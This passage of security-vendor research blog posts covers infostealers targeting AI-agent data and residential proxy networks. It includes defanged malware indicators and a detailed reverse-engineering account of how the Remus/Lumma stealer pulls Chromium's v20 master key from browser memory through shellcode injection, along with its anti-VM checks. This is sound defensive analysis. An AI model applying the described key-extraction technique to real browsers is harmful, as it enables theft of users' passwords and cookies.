29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 - 7zp.dll (trojanized DLL loader, internal name: boy.dll)
</li>
<li>
749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e - p (encrypted PE loader shellcode)
</li>
<li>
D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a - GRAYRABBIT backdoor (internal name: core.dll)
</li>
</ul>
Network indicators
<ul>
<li>
mail.uaiubifas[.]top - GRAYRABBIT C2 domain (port 443, raw TCP, RC4-encrypted)
</li>
<li>
noht1ng[.]top - Exploit page hosting domain
</li>
<li>
8.218.50[.]207 - Staging server (Alibaba Cloud, Hong Kong)
</li>
</ul>

One click. Three critical failures. One backdoor.

Gray Rabbits and the Tale of a One-Click Backdoor

Our analysis of recent information-stealer collection rules found a much newer category alongside the familiar browser, wallet, and credential targets: local data associated with Claude, Cline, Codex, Continue, Cursor, OpenCode, and other AI-assisted development tools.&nbsp;This was not an isolated experiment: over a three-month period, our Windows telemetry recorded Amatera and Remus detections among tens of thousands of protected users. <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns" target="_blank" rel="noreferrer noopener">Amatera</a> targets data associated with Cline and Continue, while <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer" target="_blank" rel="noreferrer noopener">Remus</a> targets Claude, Cursor, and OpenCode. The figures may overlap and describe detections rather than successful infections, but they show that AI agent data has already entered the information-stealer economy.&nbsp;What the malware is collecting goes far beyond harmless preferences. Depending on the agent and its configuration, local files may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, account details, and traces of the projects a developer has been working on. In one archive, an attacker may obtain both the means to access an account and the context needed to understand what is valuable behind it.&nbsp;Our findings focus primarily on locally installed coding agents and agentic developer tools, and they do not point to a new way of compromising the device or to a vulnerability in an AI model or agent. The information stealer is already running; what has changed is the concentration of valuable information in predictable locations, sometimes in plaintext, and the ease with which those locations can be added to an existing collection list.&nbsp;<h2 class="text-align-justify">The collection rules have already changed&nbsp;</h2>CallbackBeaver, a fast-emerging stealer, has added Cursor and Claude to its collection scope, and we observed more than 5,000 samples during a recent 30-day period. Lower-prevalence families, including BeeStealer, STG Stealer, HydraStealer, APEX Stealer, and Otter Stealer, show that the behavior is spreading beyond one or two larger operations The pace of adoption is striking, with AI agent data appearing in the collection rules of another stealer almost every day.&nbsp;The same behavior is visible across operating systems, with Djinn Stealer on macOS associated with collecting data from Claude, Codex, Gemini, Cline, OpenCode, and Kilo.&nbsp;The reconstructed rules below show how directly several AI-assisted development tools have been added to a stealer's collection scope. The list is a snapshot rather than a complete map of the ecosystem, but it makes the change visible: agent data is now sitting alongside the targets that information stealers have pursued for years.&nbsp;

The targeting of AI agent data is emerging within a much larger infostealer problem. During the first half of 2026, our telemetry recorded infostealer detections among more than 3.3 million unique protected users, with the monthly number consistently exceeding 500,000. These figures cover all infostealer families, not only those known to target AI agent data, but they show the scale of the ecosystem in which this behavior is spreading.&nbsp;<h2 class="text-align-justify">Access and context in the same archive&nbsp;</h2>An agent's local directory contains far more than interface preferences. The exact files, paths, and protections differ between products, operating systems, and user settings, but the material we found falls into two broad categories: access to accounts and connected services, and context that can compromise a user’s privacy by revealing who they are and what they are working on.&nbsp;Some agents cache access tokens or other login details locally so that the user does not have to authenticate for every session. An access token may let an attacker use the account until it expires, while a refresh token can sometimes be exchanged for new access tokens and extend the window of abuse. Stolen tokens can be used to consume paid API capacity, while working access to an account may be packaged and resold so that someone else can use a commercial AI service at the victim’s expense. The outcome depends on the token's scope, lifetime, and the service's own controls, so stealing a file does not guarantee lasting access, but the file can still be as sensitive as a password store.&nbsp;The <a href="https://modelcontextprotocol.io/docs/2026-07-28/getting-started/intro" target="_blank" rel="noreferrer noopener">Model Context Protocol</a>, commonly known as MCP, can extend that access beyond the AI service. It allows an agent to connect to external tools and data sources, and local configurations may include endpoints, headers, environment variables, API keys, or other authentication details. A stolen configuration does not automatically unlock every connected service, because some integrations use short-lived credentials, OS-protected storage, or an interactive authorization flow. Where reusable secrets are stored locally, however, the compromise may reach source control, ticketing platforms, databases, cloud services, or collaboration tools connected to the agent, potentially broadening the attack surface.&nbsp;The context can be just as valuable, because developers use AI assistants to review code, interpret logs, troubleshoot incidents, summarize internal documentation, and reason through unfinished work. Their prompts and transcripts can contain proprietary source code, repository names, internal hostnames and API keys or other secrets pasted into a conversation. If an employee has used the assistant while developing a confidential proof of concept, the stolen history could expose an unpatented invention or another trade secret, with consequences far beyond the theft of an AI account. A transcript may also provide reconnaissance that an attacker would otherwise spend days collecting, including the structure of a codebase, known technical problems, security tooling, and the people involved in a project.&nbsp;Local data may also expose an email address, account or organization identifiers, display name, subscription type, billing status, seat tier, rate limits, user preferences, and a history of recent files or projects. None of these fields is as dramatic as a token, but together they can undermine the user’s privacy by building a detailed picture of who they are and what they do. Combined with personal information stolen elsewhere from the device, they may also contribute to identity theft, while helping criminals identify valuable victims and make targeted/spear phishing or extortion attempts more convincing.&nbsp;The danger lies in combining access with context: a browser cookie can open a door, but an AI-agent archive may also tell the attacker whose door it is, which projects are behind it, and which connected systems may be reachable from the same workspace. Incident responders should therefore treat agent credentials and local histories as part of the broader identity and access surface, not as an isolated AI account.&nbsp;<h2 class="text-align-justify">Adding the next agent may take one configuration update&nbsp;</h2>Many information stealers already receive remotely managed collection rules specifying directories, filenames, extensions, databases, search depth, or file-size limits. Once an operator learns where an agent stores useful data, expanding that list can be as simple as adding another path.&nbsp;The malware may not need to be rebuilt or redistributed. An updated rule can be delivered to existing installations, allowing the operator to start collecting a newly popular agent's files across already compromised devices. This does not apply to every stealer, and some tools need product-specific parsing or decryption, but the basic barrier to entry is low when the target is a predictable local file.&nbsp;If a major stealer does not collect a particular agent today, its absence from the list should be treated only as a snapshot, not as evidence that the agent will remain outside the collection scope once criminals see enough users, valuable accounts, or resale demand.&nbsp;<h2 class="text-align-justify">What users and security teams should do&nbsp;</h2>AI-agent data should be included in the same security conversations as browser profiles, developer credentials, password stores, and cloud command-line tools. The response needs to cover both prevention and the actions taken after a suspected stealer infection.&nbsp;<ul type="disc"><li data-list-item-id="e9c8f62b192dd7be1ca6328df6679dcb8">Know what is stored locally. Inventory the agents in use, review their retention and history settings, and understand where they keep credentials, conversations, project records, and MCP configuration.&nbsp;</li><li data-list-item-id="eb7c4958e803b3c580e162cae0d899d6a">Prefer protected credential storage. Where a product offers a choice, use the <a href="https://developers.openai.com/codex/auth" target="_blank" rel="noreferrer noopener">operating system's credential store, keychain, or keyring</a> rather than file-based token storage. A local authentication file containing access tokens should be treated like a password.&nbsp;</li><li data-list-item-id="ed3c578310cc33e114c3aea0bc5f495fe">Keep secrets out of prompts and histories. Avoid pasting passwords, private keys, API secrets, or customer data into a conversation. If a secret has been exposed for troubleshooting, rotate it and remove the retained conversation where possible.&nbsp;</li><li data-list-item-id="e1288f8a1a4ebbb51184460556d34c0db">Limit what connected tools can do. Give MCP integrations only the permissions they need, favor short-lived and narrowly scoped tokens, and separate personal, development, and production access. Review old servers and revoke connections that are no longer used.&nbsp;</li><li data-list-item-id="ea4fc9c9016c9026dbf5d7ada8eee07f6">Protect the endpoint. Keep the operating system and applications updated, use reputable endpoint protection, and be particularly cautious with ClickFix/FakeCaptcha instructions, cracked software, unofficial installers, and other common routes used to deliver information stealers.&nbsp;</li><li data-list-item-id="ea8ebc0cc54527b97295b8e4240320f3c">Expand incident response. After a stealer infection, changing browser passwords alone is no longer enough. From a clean device, revoke AI-service sessions, rotate API keys and other credentials used by MCP connections, review connected applications and account activity, and assess whether local prompts or transcripts exposed company information. Multi-factor authentication remains important, but it may not stop abuse of a session token that has already been stolen.&nbsp;</li></ul><h2 class="text-align-justify">Safer defaults have to come from the products too</h2>Users cannot carry this responsibility alone, so agent developers should minimize the amount of sensitive information kept locally, separate authentication material from ordinary history, use OS-protected credential storage wherever possible, and make retention controls easy to find and understand. Tokens should be short-lived, scoped to the smallest practical set of permissions, and simple to revoke. MCP connections need equally clear visibility, so users and administrators can see what is connected, what it can access, and when it was last used.&nbsp;Encryption at rest can help, but it should not become a reassuring label without a threat model behind it. If the decryption key is stored beside the database, or the application automatically unlocks everything for any process running as the user, an information stealer may still obtain the data. Reducing what is retained and limiting the value and lifetime of credentials are just as important as encrypting the file.&nbsp;AI agents are becoming a new layer of working memory on our devices, storing not only what we ask them, but also who we are, what we are building, and which services we have allowed them to reach. Information stealers have already adjusted their collection rules to reflect that value, and because another agent can sometimes be added with a simple configuration update, the target list will continue to change as adoption grows.&nbsp;Once an AI agent holds credentials, conversation history, and a map of the user’s work, its local files are no longer merely configuration. They have become another high-value data store on the device, and attackers are already treating them that way.&nbsp;

Malware operators are expanding beyond browser passwords and crypto wallets to collect access tokens, MCP configurations, prompt histories and project data stored by AI tools. 

Infostealers Have Found a New Target: Your AI Agent 

Since January 2026, we have detected 7.4 million malicious incidents tied to residential proxy traffic, affecting 572,000 users in our telemetry. In this model, the household whose connection is being used is often not the buyer of the traffic. It is the exit point.That is the uncomfortable part of residential proxy networks. A home router, laptop, phone, smart TV, or other always-on device can quietly become part of a commercial network that routes strangers’ internet traffic through ordinary consumer IP addresses. To the websites on the other end, that traffic looks as if it came from a real household, because it did.The technology itself is not inherently malicious. Businesses use residential proxies for market research, ad verification, brand protection, security testing, and services that need to see the web as a real user would. But the same feature that makes these networks useful also makes them attractive for abuse: traffic from a household IP address is hard to block without risking false positives against legitimate users.The problem for consumers is simpler. Many people do not realize their device or connection can be enrolled into this kind of network at all. Some users opt in through pay-for-bandwidth apps. Others are enrolled through “free” VPNs, bundled software development kits inside unrelated apps, or unwanted software that installs proxy components without meaningful consent.Here is how the market works, who pays for it, and what it can cost the household that unknowingly hosts it.<h2>What is a residential proxy</h2>A residential proxy is an internet connection – typically a home laptop, phone, smart TV, or router – that has been enrolled into a third-party network and is being used to route someone else's traffic. To the rest of the internet, that traffic looks like it is coming from an ordinary household IP address assigned by a consumer ISP, not from a datacenter or&nbsp;VPN provider.Residential proxy networks are sold commercially. The model is two-sided: some people pay to tunnel their traffic out through someone else's connection (much like a VPN, except the exit point is a real home), while others get paid to provide those exit endpoints. Some are structured as paid peer-to-peer networks, where any participant's connection can serve as an exit for any other.Buyers pay for access to pools of millions of these "real user" IPs because they are extremely difficult to block, or rather, blocking them carries real consequences: the traffic originates from genuine households, so any block risks shutting out a legitimate user – effectively a false positive.Common buyers include market research firms, price-comparison services, brand-protection vendors, security teams testing their own defenses, and consumer privacy tools. At the abusive end of the market, the same infrastructure used by operators running automated purchasing bots, scrapping campaigns, ad fraud, credential stuffing, phishing and other attacks where hiding the true origin of the traffic matters. Demand is also being shaped by large-scale web scraping, including&nbsp;<a href="https://blog.includesecurity.com/2026/06/the-smart-tv-in-your-livingroom-is-a-node-in-the-aiscraping-economy/">scraping for AI training data</a>. As anti-bot systems become better at identifying traffic from datacenters and known VPN providers, residential IP addresses become more attractive because they look like ordinary users. That does not make every residential proxy user malicious. It does mean consumers may be carrying traffic for businesses and actors they have never heard of.<h2>How consumer devices end up in these networks</h2>There are several ways a home device can become part of a residential proxy network. Some are explicit. Others are easy to miss.The most obvious route is the pay-for-bandwidth model. Apps such as Honeygain, IPRoyal Pawns, and PacketStream pay users to share their internet connection. The user opts in, but they may not understand who will buy access to that connection later, what kind of traffic will pass through it, or what happens if that traffic triggers abuse reports.A second route is the “free” VPN or proxy app. Instead of charging a subscription, the app monetizes the user’s connection by reselling bandwidth. In practice, the user may think they are getting a privacy tool while also becoming infrastructure for other people’s traffic.A third route is through bundled software development kits, or SDKs. A developer adds a third-party component to an otherwise unrelated app, such as a flashlight, wallpaper, game, or utility. The developer gets paid when the app is active. The user sees the host app, not the proxy network behind it.The fourth route is malware or potentially unwanted software. In those cases, the proxy component is installed silently or deceptively, with no meaningful user consent at all.<h2>Why the "consent" is rarely meaningful</h2>Even when consent technically exists, it is often not the kind of consent most people would recognize.The disclosure may be buried in a long terms-of-service document. The wording may be vague, with phrases such as “share your unused bandwidth,” “support the app,” or “join our network.” These phrases do not clearly tell the user that arbitrary third parties may route traffic through the user’s home IP address.There is also the question of downstream use. Users are rarely told who buys access to the network or what those buyers do with it. Their connection could be used for benign market research. It could also be used for scraping, automated account creation, ad fraud, credential stuffing, or phishing infrastructure.The problem gets worse when the proxy component sits inside another app. The host app’s privacy policy may mention a partner SDK by brand name, but that still does not make it clear to a normal user that their device can become a proxy endpoint.Uninstalling the visible app may not always resolve the issue cleanly either, especially when proxy components are installed separately or bundled with other unwanted software.<h2>The risks consumers actually carry</h2>When a household device becomes a residential proxy node, the user takes on risks created by someone else’s traffic.The first risk is attribution. Abusive, fraudulent, or illegal activity routed through the device appears to come from the household’s IP address. ISP abuse notices, platform bans, fraud checks, and law enforcement requests point first to the subscriber, not to the person who bought the proxy traffic.The second risk is performance. Continuous third-party traffic can consume bandwidth, slow the home network, hit data caps, or violate ISP terms of service. The user may only notice that the internet feels slower, a bill is higher, or a service suddenly blocks access.The third risk is security exposure. Proxy clients run persistent background processes and maintain network connections so they can relay traffic. That adds always-on networking software to the device, often with limited visibility for the user.The fourth risk is reputation. A home IP address used for abuse can end up on blocklists used by banks, retailers, streaming services, and online platforms. The result can be account friction, failed logins, extra verification steps, or outright blocking from services the household actually uses.There is also a family angle. A child or another household member may install a free game, VPN, or utility without understanding the consequences. The legal, financial, and reputational risk still lands on the account holder.<h2>What our telemetry shows</h2>Since the beginning of 2026, we have detected 7.4 million malicious traffic incidents associated with residential proxy traffic, affecting 572,000 unique users in our user base.&nbsp; This is not a measurement of the entire residential proxy market. It reflects what we observe in our telemetry: malicious traffic, detections, and related activity affecting protected users. The real footprint is far larger, because residential proxy networks span major consumer platforms and many devices outside our visibility.The activity is global, but it is concentrated in a smaller set of countries. India leads by a wide margin, with roughly 83,000 affected users, followed by Vietnam with 61,000 and Brazil with 39,000. The Philippines (23,000), Poland (18,000), Indonesia (18,000) and Thailand (14,000) form a second tier, with Egypt, Spain, Ukraine, Argentina, Mexico and Italy each accounting for 10,000 to 13,000. The spread across South and Southeast Asia, Latin America, and Eastern and Southern Europe reflects where the host apps that carry this software are most widely installed.That geographic spread likely reflects a combination of app distribution, local install patterns, user appetite for free or pay-for-bandwidth apps, and the economics of bandwidth resale. It should not be read as a simple ranking of where residential proxy abuse originates.The chart below breaks down the threats we observed in this proxy-related traffic. Two categories dominate: phishing and malicious advertising. Behind them sits a long tail of consumer-facing fraud, including e-shop scams, generic scams, financial scams, and fake-tutorial pages, alongside outright malware such as trojans and other malicious traffic.&nbsp;

In the malicious proxy traffic we observed, scams and malware dominate. The important point for consumers is not only that their connection may be used by someone else. It is that, when abuse happens, their household IP address can be the return address.<h2>What consumers can do</h2>Most people will not identify a residential proxy component by name. But there are practical warning signs.Review “free” VPNs, proxy apps, bandwidth-sharing apps, and utilities from unknown publishers. Check whether they mention bandwidth sharing, peer-to-peer networking, traffic routing, or network participation in their terms. If an app offers payment for leaving your device online, assume your connection may be resold unless the provider explains exactly how traffic is vetted and who can buy access.On phones and computers, remove apps you do not recognize or no longer use. On home routers, check the list of connected devices and look for anything unfamiliar. If your ISP sends abuse notices, websites start blocking you, or your home IP address suddenly fails fraud checks, a proxy component is one possible explanation.Security software can also help by detecting unwanted proxy clients, bundled components, and related malicious activity. But this should not be a guessing game for consumers. Software that turns a household connection into a commercial exit node should be named clearly and made easy to remove.<h2>The takeaway&nbsp;</h2>With residential proxiesthe user’s connection becomes an infrastructure for someone else’s business.The issue is not that residential proxy technology exists. It has legitimate uses. The issue is whether people know when their devices are part of it, understand what kind of traffic may pass through their connection, and have a real choice to opt out.The fix is not to pretend consumers will read every EULA. This software should be named clearly, shown plainly, and made easy to remove before a household connection becomes someone else’s infrastructure.

Your home connection could be routing traffic for strangers. Here's how residential proxy networks work, how devices get enrolled and what our telemetry reveals about the risks for consumers.

Who's Really Using Your Home Internet Connection?

<h2>Key points</h2><ul type="disc"><li data-list-item-id="e4b810198ac9891110da1771c3f2d0397">Gen Threat Labs has identified Remus, a new 64-bit infostealer we attribute to the infamous Lumma Stealer family – emerging in the wake of Lumma’s takedown and the doxxing of its alleged core members.</li><li data-list-item-id="ede8006689bbfaba0d6fa856478b3ea79">In this technical blog post, we detail the compelling evidence tying Remus to Lumma across multiple dimensions.</li><li data-list-item-id="ef3f0d531ccf019ab00b98a38b3c43c17">We also describe a previously undocumented Application-Bound Encryption bypass employed specifically by Remus and Lumma.</li><li data-list-item-id="ee0040d0e9463ac082d24fcdbfd7af133">The first Remus campaigns date back to February 2026, with the malware switching from Steam/Telegram dead drop resolvers to EtherHiding and employing new anti-analysis checks.&nbsp;</li></ul><h2>Introduction</h2>When the security industry talks about information stealers, Lumma Stealer, without a doubt, has become the notorious icon of this landscape. Not only could it count itself among the most sophisticated, technically advanced, and widespread stealers-as-a-service in the world, but it was also described in a variety of blog posts from basically everyone in the industry, including us.In this analysis, we describe a new variant of Lumma Stealer that we call Remus, a new x64 build which we suspected might occur in the foreseeable future after the doxxing of Lumma authors from late August to October 2025. And the future is here.Remus brings the same stealing arsenal to the table as we already know from Lumma, capable of stealing stored browser passwords, cookies, cryptocurrency, and much more. However, rather than revisiting Lumma's well-documented capabilities, we focus on the remarkable resemblance between Remus and Lumma, as well as the new techniques Remus introduces, including the use of EtherHiding to resolve C2s, replacing the traditional use of Steam and Telegram dead drop resolvers, and additional anti-analysis checks.&nbsp;The attribution of Remus to Lumma is many-fold and described thoroughly throughout the blog post. The main indicators, to name a few, are the use of the same string obfuscation technique, AntiVM checks, direct syscall/sysenter handling, indirect control flow obfuscation, and, most importantly, an almost identical approach to bypassing AppBound Encryption, which we’ve only seen used explicitly by Lumma to date.With that said, we can still see active Lumma campaigns all around the world, which makes Remus not a replacement, but a continuous evolution.<h2>Development timeline</h2>Before diving into the technical details, it is worth noting that during our hunting efforts, we came across several test samples, which even carry a <code>testbuild</code> label embedded directly in the binaries (see Figure 1). We are internally referencing these builds as Tenzor (based on encrypted strings). These test builds are already 64-bit and structurally very close to Remus, suggesting they represent a transitional step, or perhaps even a testing ground, between Lumma and Remus.

This also brings us to the name itself. Both Tenzor and Remus have left a string artifact in the same part of the code, referencing the <code># TENZOR LOG</code> and <code># REMUS LOG</code> strings. Since we have been tracking only test builds with the Tenzor string and Remus is the variant that is being actively distributed in live campaigns, we took the liberty of naming the new x64 Lumma variant after the latter string – Remus.

Notably, all the Tenzor samples carry a build date of September 16, 2025, in their stack-encrypted strings, which is months before the first Remus samples began appearing in the wild at the turn of January and February 2026. The build timing closely coincides with a period when Lumma Stealer suffered a major blow through a doxxing campaign that exposed alleged core members and severely disrupted its operations. This may suggest that some of Lumma’s authors split off, or that Lumma decided to rebrand under a new name in the midst of the doxxing fallout. Nevertheless, at Gen Threat Labs, we track both Remus and Tenzor as variants of Lumma Stealer. That said, the only samples bearing the Tenzor name are the ones that also carry the <code>testbuild</code> label. All others are identified as Remus.

<h2>Similarities between Remus and Lumma</h2>When we first started analyzing Remus, something felt familiar, and for good reason. Many of the techniques and design patterns we encountered in Remus closely mirrored those we had already seen in Lumma Stealer. The main difference is that Lumma was 32-bit while Remus is 64-bit, which naturally introduced some variations. Yet, when we looked past the 32-bit versus 64-bit differences and stripped away the obfuscation layers, what remained was strikingly familiar.In the following subsections, we highlight the most compelling evidence of a direct connection between Remus and Lumma. Note that this is not an exhaustive list. The overlaps are far more numerous, but we selected just a few that we believe speak for themselves.<h3>Forgotten dead drop resolver and string obfuscation&nbsp;</h3>For a malware researcher, strings are among the most valuable resources during reverse engineering, and in the case of attributing Remus to Lumma, they proved no different.&nbsp;Both Remus and Lumma use a virtually identical mechanism for string obfuscation. The encrypted string is first assembled on the stack using a series of various forms of the <code>mov</code> instruction, followed by a decryption loop that transforms the data byte by byte. The transformation is often further obscured by MBA (Mixed Boolean-Arithmetic) obfuscation and is either inlined or placed in a standalone function. In any case, each string is protected using a unique transformation, making it very difficult to build a universal static decryptor. As a result, emulating the decryption loops is likely the most effective approach for dealing with encrypted strings in both Remus and Lumma.&nbsp;

Notably, the decryption loops are often preceded by several <code>nop</code> instructions (Lumma) or a single <code>nop</code> instruction encoded using multiple bytes (Remus), likely inserted as padding during a custom compilation pass. We are aware that the compilers themselves can emit <code>nop</code> paddings. Still, in both Remus and Lumma, these sequences go beyond the typical, making it yet another indicator linking the two together.After decrypting all strings in both Remus and Lumma and comparing them side by side, we found roughly 100 completely identical strings. Most of these, however, could be attributed to virtually any information stealer. The more telling discovery came when we looked at the strings that were not identical – most of them turned out to be semantically the same, just slightly refactored. This alone would already be a strong indicator.&nbsp;However, what ultimately confirmed our theory was shifting the string comparison from Lumma vs. Remus to Lumma vs. Tenzor, as Tenzor effectively acts as a bridge between the other two – many of the strings we had previously matched only semantically between Remus and Lumma were still present in Tenzor in their original, unmodified form, directly matching Lumma’s. At the same time, Tenzor also contained very specific strings found exclusively in Remus but not in Lumma, such as <code>B9%????4rnO/@NQe?Nx*</code>, used as a wildcard mask in the ABE-bypass (which we will discuss later), firmly linking it to both sides.

On top of that, among the decrypted Tenzor strings, we also found a Steam dead drop resolver <code>hxxps[://]steamcommunity[.]com/profiles/76561199861614181</code>, which turned out to be the exact same resolver present in multiple confirmed Lumma samples, namely:<ul><li data-list-item-id="e7c7ac2aae55af0df2c596fe8463f5a97">002f714f93bed53f165129a820c2d5b72227f1cafac43be19e5e223ce219a5e1 (Lumma)</li><li data-list-item-id="ea0c5ca160e92372f6b8b681415725a00">066c4ab954fc1270ee62c0d7c582c4c691e58e0ffef0c654bc204a46e440d16d (Lumma)</li><li data-list-item-id="e2eae0f6619eb5e4ffb9d1e84b3e057d6">0683f353cf3e101f721f1658e2a554ff7888ff9f2c32e23ceb3d23876864a264 (Lumma)</li><li data-list-item-id="efe40dcac54b87ce148882d49b97105a6">0580ebf601989457f0708799b431fd4d9f5e59d98838282d72936099aa6636da (Tenzor)</li></ul>

<h3>Application-bound encryption bypass</h3>Another very strong indicator tying Remus and Lumma together is the way they bypass Application-Bound Encryption (ABE), as both employ a highly specific technique that, until now, we have only observed and have been actively tracking in Lumma Stealer.The technique involves injecting a very short shellcode (less than 100 bytes) into the browser process to decrypt the <code>v20_master_key</code>. However, unlike most techniques relying on injection, Lumma as well as Remus do not use this shellcode to call <code>IElevator::Decrypt</code> with the key obtained from the <code>Local State</code> file (the <code>[“os_crypt”][“app_bound_encrypted_key”]</code> JSON field). Instead, it locates the <code>v20_master_key</code> directly in the browser’s process memory, where it is stored in an encrypted form protected by <code>CryptProtectMemory</code> with the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag. It then calls the complementary <code>CryptUnprotectMemory</code> with the same flag from within the browser’s context to decrypt it.It is important to note that this in-memory encrypted form of the <code>v20_master_key</code> is protected with a different key than the one used to protect the key on disk – it is a separate protection layer that Chromium browsers use to safeguard the key while it resides in memory at runtime. However, since the key is protected with the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag, decryption can only be performed by the same process that encrypted it, which is precisely why injection into the browser process is necessary in this specific bypass. For the curious, we discussed this topic in more detail in our recent&nbsp;<a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass" target="_blank">VoidStealer blog post</a>.From this point on, we will walk through the ABE bypass as implemented in Remus, noting any differences from Lumma’s implementation where applicable. Where no differences are explicitly mentioned, the two implementations work either identically or very similarly.&nbsp;So how does Remus find the protected <code>v20_master_key</code>? It begins by walking the browser’s PEB module list, looking for two modules in a single pass: <code>dpapi.dll</code> and the browser DLL (e.g., <code>chrome.dll</code>).&nbsp;When <code>dpapi.dll</code> is found, Remus manually parses its PE export directory, reading the DOS header, PE header, and export table through repeated <code>NtReadVirtualMemory</code> syscalls. For each exported function name, it computes a seeded CRC32 hash and compares it against the pre-computed hash&nbsp;corresponding to&nbsp;<code>CryptUnprotectMemory</code>. Essentially, a typical API-hashing, but in a remote process. Once a match is found, it&nbsp;resolves the function’s RVA to obtain its absolute address in the browser’s address space.When the browser DLL is found during the same pass, Remus decrypts a hex pattern <code>488d058bcc8d02488901488b024889415b488d41</code>, which was encrypted by the same string obfuscation technique described earlier and stores the value <code>0xEFF87</code> (which corresponds to <code>11101111111110000111</code> in binary) into a variable we labeled as <code>wildcard_mask</code> (see&nbsp;Figure&nbsp;8).&nbsp;

The hex pattern corresponds to a sequence of opcodes that Remus searches for within the browser DLL (e.g., <code>chrome.dll</code>), while the wildcard mask, read from the least significant bit, indicates which bytes must match exactly and which should be treated as wildcards. Lumma does the same but takes a different approach to wildcarding. Instead of a hex mask, it uses a 20-character string <code>B9%????4rnO/@NQe?Nx*</code>, where ? denotes a wildcard and any other character means the byte must match exactly. Notably, this exact string also appears in Tenzor builds, which directly ties Tenzor to the Lumma codebase.

Looking into <code>chrome.dll</code>, we can see that the pattern is designed to locate a <code>LEA</code> (Load Effective Address) instruction that loads a 32-bit displacement pointing to the <code>os_crypt_async::Encryptor</code> virtual function table (vftable). The reason for specifically targeting the <code>os_crypt_async::Encryptor</code> class is that it holds the protected <code>v20_master_key</code>.

Once the pattern is found, Remus reads the 32-bit displacement at <code>pattern_address + 3</code> and computes the absolute address of the <code>os_crypt_async::Encryptor</code> vftable using the formula: <code>target_addr = pattern_addr + disp32 + 7</code> (since the <code>LEA</code> instruction is 7 bytes long and the displacement is relative to the next instruction).&nbsp;It then scans the browser’s memory for this 8-byte vftable pointer by enumerating committed, readable memory regions via <code>NtQueryVirtualMemory</code> and reading each one into a local buffer via <code>NtReadVirtualMemory</code>. Wherever a match is found, it marks the start of an <code>os_crypt_async::Encryptor</code> instance in memory, as the vftable pointer sits at the very beginning of the object. From there, extracting the protected <code>v20_master_key</code> is just a matter of walking the structure at known offsets.&nbsp;

After resolving all the necessary&nbsp;addresses, Remus allocates&nbsp;a buffer&nbsp;in the browser process via <code>NtAllocateVirtualMemory</code>, which serves as both the copy destination and the in-place decryption target.&nbsp;It then constructs&nbsp;a 51-byte&nbsp;shellcode (shown in Figure 12), allocates a second buffer with the <code>PAGE_EXECUTE_READWRITE</code> protection constant for the shellcode itself, and&nbsp;writes it into the browser process via <code>NtWriteVirtualMemory</code>. The shellcode is then executed via <code>NtCreateThreadEx</code>, and Remus waits for its completion using <code>NtWaitForSingleObject</code>.&nbsp;Once the <code>v20_master_key</code> is decrypted, Remus simply reads it from the buffer it previously allocated (and, therefore, already knows its&nbsp;address) via <code>NtReadVirtualMemory</code>.

The injected shellcode differs slightly between Remus and Lumma, but both fundamentally do the same thing – copy the protected <code>v20_master_key</code> into a pre-allocated buffer and jump to <code>CryptUnprotectMemory</code> to decrypt it in place. Both construct the shellcode on the stack, patching in the resolved addresses before writing it into the browser process. The only real difference is that Remus produces a more compact variant (51 vs 62 bytes) by reusing registers. Concrete examples of the injected shellcodes are shown in Figure 13 (Remus) and Figure 14 (Lumma).

Another detail linking the two is that when no browser process is already running, or when injection into an existing one fails, both Remus and Lumma spawn a new one on a separate, hidden desktop, preventing any visible windows from appearing on the user’s screen. They first attempt to open an existing desktop using <code>OpenDesktopW</code> and fall back to creating a new one via <code>CreateDesktopW</code> if it does not yet exist. A new browser instance is then launched via <code>CreateProcessW</code> with <code>STARTUPINFOW.lpDesktop</code> set to this desktop. The only difference is that Lumma uses a hardcoded desktop name&nbsp;<code>ChromiumDev</code> (or previously also <code>ChromeBuildTools</code>), while Remus generates a random 16-character alphanumeric string using a Mersenne Twister PRNG, a natural evolution rather than a change in approach.Furthermore, both Remus and Lumma also employ SYSTEM token impersonation as an alternative method to bypass ABE. Interestingly, the two families differ in which method they prefer: Remus attempts SYSTEM elevation first and falls back to shellcode injection, while Lumma tries injection first and resorts to SYSTEM elevation only if it fails. That said, SYSTEM token impersonation for ABE bypass is a well-known technique widely used across many stealer families. What, however, is highly distinctive is the injection-based bypass described above, which to our knowledge has only been used by Lumma and now also Remus.&nbsp;<h3>AntiVM CPUID checks</h3>Another identical technique shared by Remus and Lumma is their anti-VM check based on the&nbsp;<code>cpuid</code>&nbsp;instruction with&nbsp;<code>EAX</code>&nbsp;set to&nbsp;<code>0x40000000</code> – the hypervisor vendor identification leaf. When executed inside a virtual machine, the processor returns the hypervisor’s vendor signature in <code>EBX:ECX:EDX</code>. Both Remus and Lumma specifically check the&nbsp;<code>ECX</code>&nbsp;portion (4 bytes) against five known hypervisor signatures: KVM (<code>KVMKVMKVM</code>), QEMU/TCG (<code>TCGTCGTCGTCG</code>), VMware (<code>VMwareVMware</code>), VirtualBox (<code>VBoxVBoxVBox</code>), and Xen (<code>XenVMMXenVMM</code>). Notably, both check the same substrings of hypervisor names in the same order, and the checked substrings are obfuscated.&nbsp;The decompiled code performing the check can be seen in Figure 15 (Remus) and Figure 16 (Lumma). For clarity, we omitted the decryption loops from the Lumma listing, but they are the same decryption loops we described earlier.

<h3>Crypter check</h3>When executed without a protective layer, both Remus and Lumma display a warning dialog before proceeding with their malicious payloads (see Figures 17 and 18). The purpose of this mechanism is twofold: to discourage distributors from spreading the raw, unprotected executables, which are more easily detected by security products, and to prevent less skilled affiliates from accidentally infecting their own machines.

